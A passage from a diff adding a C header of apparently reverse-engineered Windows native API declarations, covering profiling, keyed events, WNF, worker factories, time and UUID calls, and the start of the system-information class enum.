GroupAffinity +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateProfileEx( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ USHORT GroupCount, + _In_reads_(GroupCount) PGROUP_AFFINITY GroupAffinity +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtStartProfile( + _In_ HANDLE ProfileHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwStartProfile( + _In_ HANDLE ProfileHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtStopProfile( + _In_ HANDLE ProfileHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwStopProfile( + _In_ HANDLE ProfileHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryIntervalProfile( + _In_ KPROFILE_SOURCE ProfileSource, + _Out_ PULONG Interval +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryIntervalProfile( + _In_ KPROFILE_SOURCE ProfileSource, + _Out_ PULONG Interval +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIntervalProfile( + _In_ ULONG Interval, + _In_ KPROFILE_SOURCE Source +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetIntervalProfile( + _In_ ULONG Interval, + _In_ KPROFILE_SOURCE Source +); + +// +// Keyed Event +// + +#define KEYEDEVENT_WAIT 0x0001 +#define KEYEDEVENT_WAKE 0x0002 +#define KEYEDEVENT_ALL_ACCESS \ + (STANDARD_RIGHTS_REQUIRED | KEYEDEVENT_WAIT | KEYEDEVENT_WAKE) + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReleaseKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout +); + +// +// UMS +// + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUmsThreadYield( + _In_ PVOID SchedulerParam +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUmsThreadYield( + _In_ PVOID SchedulerParam +); +#endif + +// +// WNF +// + +// begin_private + +#ifndef _DEFINED__WNF_STATE_NAME +#define _DEFINED__WNF_STATE_NAME +typedef struct _WNF_STATE_NAME +{ + ULONG Data[2]; +} WNF_STATE_NAME, * PWNF_STATE_NAME; +typedef const WNF_STATE_NAME* PCWNF_STATE_NAME; +#endif + +typedef enum _WNF_STATE_NAME_LIFETIME +{ + WnfWellKnownStateName, + WnfPermanentStateName, + WnfPersistentStateName, + WnfTemporaryStateName +} WNF_STATE_NAME_LIFETIME; + +typedef enum _WNF_STATE_NAME_INFORMATION +{ + WnfInfoStateNameExist, + WnfInfoSubscribersPresent, + WnfInfoIsQuiescent +} WNF_STATE_NAME_INFORMATION; + +typedef enum _WNF_DATA_SCOPE +{ + WnfDataScopeSystem, + WnfDataScopeSession, + WnfDataScopeUser, + WnfDataScopeProcess, + WnfDataScopeMachine, // REDSTONE3 + WnfDataScopePhysicalMachine, // WIN11 +} WNF_DATA_SCOPE; + +typedef struct _WNF_TYPE_ID +{ + GUID TypeId; +} WNF_TYPE_ID, * PWNF_TYPE_ID; + +typedef const WNF_TYPE_ID* PCWNF_TYPE_ID; + +// rev +typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP; + +typedef struct _WNF_DELIVERY_DESCRIPTOR +{ + ULONGLONG SubscriptionId; + WNF_STATE_NAME StateName; + WNF_CHANGE_STAMP ChangeStamp; + ULONG StateDataSize; + ULONG EventMask; + WNF_TYPE_ID TypeId; + ULONG StateDataOffset; +} WNF_DELIVERY_DESCRIPTOR, * PWNF_DELIVERY_DESCRIPTOR; + +// end_private + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWnfStateName( + _Out_ PWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_LIFETIME NameLifetime, + _In_ WNF_DATA_SCOPE DataScope, + _In_ BOOLEAN PersistData, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_ ULONG MaximumStateSize, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateWnfStateName( + _Out_ PWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_LIFETIME NameLifetime, + _In_ WNF_DATA_SCOPE DataScope, + _In_ BOOLEAN PersistData, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_ ULONG MaximumStateSize, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteWnfStateName( + _In_ PCWNF_STATE_NAME StateName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteWnfStateName( + _In_ PCWNF_STATE_NAME StateName +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUpdateWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_reads_bytes_opt_(Length) const VOID* Buffer, + _In_opt_ ULONG Length, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID* ExplicitScope, + _In_ WNF_CHANGE_STAMP MatchingChangeStamp, + _In_ LOGICAL CheckStamp +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUpdateWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_reads_bytes_opt_(Length) const VOID* Buffer, + _In_opt_ ULONG Length, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID* ExplicitScope, + _In_ WNF_CHANGE_STAMP MatchingChangeStamp, + _In_ LOGICAL CheckStamp +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ const VOID* ExplicitScope +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ const VOID* ExplicitScope +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID* ExplicitScope, + _Out_ PWNF_CHANGE_STAMP ChangeStamp, + _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer, + _Inout_ PULONG BufferSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryWnfStateData( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ PCWNF_TYPE_ID TypeId, + _In_opt_ const VOID* ExplicitScope, + _Out_ PWNF_CHANGE_STAMP ChangeStamp, + _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer, + _Inout_ PULONG BufferSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryWnfStateNameInformation( + _In_ PCWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_INFORMATION NameInfoClass, + _In_opt_ const VOID* ExplicitScope, + _Out_writes_bytes_(InfoBufferSize) PVOID InfoBuffer, + _In_ ULONG InfoBufferSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryWnfStateNameInformation( + _In_ PCWNF_STATE_NAME StateName, + _In_ WNF_STATE_NAME_INFORMATION NameInfoClass, + _In_opt_ const VOID* ExplicitScope, + _Out_writes_bytes_(InfoBufferSize) PVOID InfoBuffer, + _In_ ULONG InfoBufferSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ WNF_CHANGE_STAMP ChangeStamp, + _In_ ULONG EventMask, + _Out_opt_ PULONG64 SubscriptionId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName, + _In_opt_ WNF_CHANGE_STAMP ChangeStamp, + _In_ ULONG EventMask, + _Out_opt_ PULONG64 SubscriptionId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnsubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnsubscribeWnfStateChange( + _In_ PCWNF_STATE_NAME StateName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetCompleteWnfStateSubscription( + _In_opt_ PWNF_STATE_NAME OldDescriptorStateName, + _In_opt_ ULONG64* OldSubscriptionId, + _In_opt_ ULONG OldDescriptorEventMask, + _In_opt_ ULONG OldDescriptorStatus, + _Out_writes_bytes_(DescriptorSize) PWNF_DELIVERY_DESCRIPTOR NewDeliveryDescriptor, + _In_ ULONG DescriptorSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetCompleteWnfStateSubscription( + _In_opt_ PWNF_STATE_NAME OldDescriptorStateName, + _In_opt_ ULONG64* OldSubscriptionId, + _In_opt_ ULONG OldDescriptorEventMask, + _In_opt_ ULONG OldDescriptorStatus, + _Out_writes_bytes_(DescriptorSize) PWNF_DELIVERY_DESCRIPTOR NewDeliveryDescriptor, + _In_ ULONG DescriptorSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetWnfProcessNotificationEvent( + _In_ HANDLE NotificationEvent +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetWnfProcessNotificationEvent( + _In_ HANDLE NotificationEvent +); +#endif // NTDDI_VERSION >= NTDDI_WINBLUE + +// +// Worker factory +// + +// begin_rev + +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define WORKER_FACTORY_ALL_ACCESS ( \ + STANDARD_RIGHTS_REQUIRED | \ + WORKER_FACTORY_RELEASE_WORKER | \ + WORKER_FACTORY_WAIT | \ + WORKER_FACTORY_SET_INFORMATION | \ + WORKER_FACTORY_QUERY_INFORMATION | \ + WORKER_FACTORY_READY_WORKER | \ + WORKER_FACTORY_SHUTDOWN \ + ) + +// end_rev + +// begin_private + +typedef enum _WORKERFACTORYINFOCLASS +{ + WorkerFactoryTimeout, // q; s: LARGE_INTEGER + WorkerFactoryRetryTimeout, // q; s: LARGE_INTEGER + WorkerFactoryIdleTimeout, // q; s: LARGE_INTEGER + WorkerFactoryBindingCount, + WorkerFactoryThreadMinimum, // q; s: ULONG + WorkerFactoryThreadMaximum, // q; s: ULONG + WorkerFactoryPaused, // ULONG or BOOLEAN + WorkerFactoryBasicInformation, // WORKER_FACTORY_BASIC_INFORMATION + WorkerFactoryAdjustThreadGoal, + WorkerFactoryCallbackType, + WorkerFactoryStackInformation, // 10 + WorkerFactoryThreadBasePriority, + WorkerFactoryTimeoutWaiters, // since THRESHOLD + WorkerFactoryFlags, + WorkerFactoryThreadSoftMaximum, + WorkerFactoryThreadCpuSets, // since REDSTONE5 + MaxWorkerFactoryInfoClass +} WORKERFACTORYINFOCLASS, * PWORKERFACTORYINFOCLASS; + +typedef struct _WORKER_FACTORY_BASIC_INFORMATION +{ + LARGE_INTEGER Timeout; + LARGE_INTEGER RetryTimeout; + LARGE_INTEGER IdleTimeout; + BOOLEAN Paused; + BOOLEAN TimerSet; + BOOLEAN QueuedToExWorker; + BOOLEAN MayCreate; + BOOLEAN CreateInProgress; + BOOLEAN InsertedIntoQueue; + BOOLEAN Shutdown; + ULONG BindingCount; + ULONG ThreadMinimum; + ULONG ThreadMaximum; + ULONG PendingWorkerCount; + ULONG WaitingWorkerCount; + ULONG TotalWorkerCount; + ULONG ReleaseCount; + LONGLONG InfiniteWaitGoal; + PVOID StartRoutine; + PVOID StartParameter; + HANDLE ProcessId; + SIZE_T StackReserve; + SIZE_T StackCommit; + NTSTATUS LastThreadCreationStatus; +} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION; + +// end_private + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWorkerFactory( + _Out_ PHANDLE WorkerFactoryHandleReturn, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE CompletionPortHandle, + _In_ HANDLE WorkerProcessHandle, + _In_ PVOID StartRoutine, + _In_opt_ PVOID StartParameter, + _In_opt_ ULONG MaxThreadCount, + _In_opt_ SIZE_T StackReserve, + _In_opt_ SIZE_T StackCommit +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateWorkerFactory( + _Out_ PHANDLE WorkerFactoryHandleReturn, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE CompletionPortHandle, + _In_ HANDLE WorkerProcessHandle, + _In_ PVOID StartRoutine, + _In_opt_ PVOID StartParameter, + _In_opt_ ULONG MaxThreadCount, + _In_opt_ SIZE_T StackReserve, + _In_opt_ SIZE_T StackCommit +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtShutdownWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Inout_ volatile LONG* PendingWorkerCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwShutdownWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Inout_ volatile LONG* PendingWorkerCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseWorkerFactoryWorker( + _In_ HANDLE WorkerFactoryHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReleaseWorkerFactoryWorker( + _In_ HANDLE WorkerFactoryHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWorkerFactoryWorkerReady( + _In_ HANDLE WorkerFactoryHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWorkerFactoryWorkerReady( + _In_ HANDLE WorkerFactoryHandle +); + +struct _FILE_IO_COMPLETION_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForWorkViaWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Out_ struct _FILE_IO_COMPLETION_INFORMATION* MiniPacket +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForWorkViaWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Out_ struct _FILE_IO_COMPLETION_INFORMATION* MiniPacket +); +#endif + +// +// Time +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemTime( + _Out_ PLARGE_INTEGER SystemTime +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySystemTime( + _Out_ PLARGE_INTEGER SystemTime +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemTime( + _In_opt_ PLARGE_INTEGER SystemTime, + _Out_opt_ PLARGE_INTEGER PreviousTime +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSystemTime( + _In_opt_ PLARGE_INTEGER SystemTime, + _Out_opt_ PLARGE_INTEGER PreviousTime +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryTimerResolution( + _Out_ PULONG MaximumTime, + _Out_ PULONG MinimumTime, + _Out_ PULONG CurrentTime +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryTimerResolution( + _Out_ PULONG MaximumTime, + _Out_ PULONG MinimumTime, + _Out_ PULONG CurrentTime +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimerResolution( + _In_ ULONG DesiredTime, + _In_ BOOLEAN SetResolution, + _Out_ PULONG ActualTime +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetTimerResolution( + _In_ ULONG DesiredTime, + _In_ BOOLEAN SetResolution, + _Out_ PULONG ActualTime +); + +// +// Performance Counter +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCounter, + _Out_opt_ PLARGE_INTEGER PerformanceFrequency +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCounter, + _Out_opt_ PLARGE_INTEGER PerformanceFrequency +); + +// +// LUIDs +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateLocallyUniqueId( + _Out_ PLUID Luid +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateLocallyUniqueId( + _Out_ PLUID Luid +); + +// +// UUIDs +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetUuidSeed( + _In_ PCHAR Seed +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetUuidSeed( + _In_ PCHAR Seed +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateUuids( + _Out_ PULARGE_INTEGER Time, + _Out_ PULONG Range, + _Out_ PULONG Sequence, + _Out_ PCHAR Seed +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateUuids( + _Out_ PULARGE_INTEGER Time, + _Out_ PULONG Range, + _Out_ PULONG Sequence, + _Out_ PCHAR Seed +); + +// +// System Information +// + +// rev +// private +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION + SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION + SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION + SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION + SystemPathInformation, // not implemented + SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION + SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION + SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION + SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (EX in: USHORT ProcessorGroup) + SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION + SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10 + SystemModuleInformation, // q: RTL_PROCESS_MODULES + SystemLocksInformation, // q: RTL_PROCESS_LOCKS + SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES + SystemPagedPoolInformation, // not implemented + SystemNonPagedPoolInformation, // not implemented + SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION + SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION + SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION + SystemVdmInstemulInformation, // q: SYSTEM_VDM_INSTEMUL_INFO + SystemVdmBopInformation, // not implemented // 20 + SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache) + SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION + SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION + SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege) + SystemFullMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION + SystemLoadGdiDriverInformation, // s (kernel-mode only) + SystemUnloadGdiDriverInformation, // s (kernel-mode only) + SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege) + SystemSummaryMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION + SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30 + SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS) + SystemObsolete0, // not implemented + SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION + SystemCrashDumpStateInformation, // s: SYSTEM_CRASH_DUMP_STATE_INFORMATION (requires SeDebugPrivilege) + SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION + SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION + SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege) + SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only + SystemPrioritySeperation, // s (requires SeTcbPrivilege) + SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40 + SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege) + SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION + SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION + SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION + SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION + SystemTimeSlipNotification, // s: HANDLE (NtCreateEvent) (requires SeSystemtimePrivilege) + SystemSessionCreate, // not implemented + SystemSessionDetach, // not implemented + SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION) + SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50 + SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege) + SystemVerifierThunkExtend, // s (kernel-mode only) + SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION + SystemLoadGdiDriverInSystemSpace, // s (kernel-mode only) (same as SystemLoadGdiDriverInformation) + SystemNumaProcessorMap, // q + SystemPrefetcherInformation, // q: PREFETCHER_INFORMATION; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation + SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION + SystemRecommendedSharedDataAlignment, // q + SystemComPlusPackage, // q; s + SystemNumaAvailableMemory, // 60 + SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION + SystemEmulationBasicInformation, + SystemEmulationProcessorInformation, + SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX + SystemLostDelayedWriteInformation, // q: ULONG + SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION + SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION + SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION + SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION + SystemObjectSecurityMode, // q: ULONG // 70 + SystemWatchdogTimerHandler, // s (kernel-mode only) + SystemWatchdogTimerInformation, // q (kernel-mode only); s (kernel-mode only) + SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION + SystemWow64SharedInformationObsolete, // not implemented + SystemRegisterFirmwareTableInformationHandler, // s: SYSTEM_FIRMWARE_TABLE_HANDLER // (kernel-mode only) + SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION + SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX + SystemVerifierTriageInformation, // not implemented + SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation + SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80 + SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation) + SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege) + SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] + SystemVerifierCancellationInformation, // SYSTEM_VERIFIER_CANCELLATION_INFORMATION // name:wow64:whNT32QuerySystemVerifierCancellationInformation + SystemProcessorPowerInformationEx, // not implemented + SystemRefTraceInformation, // q; s: 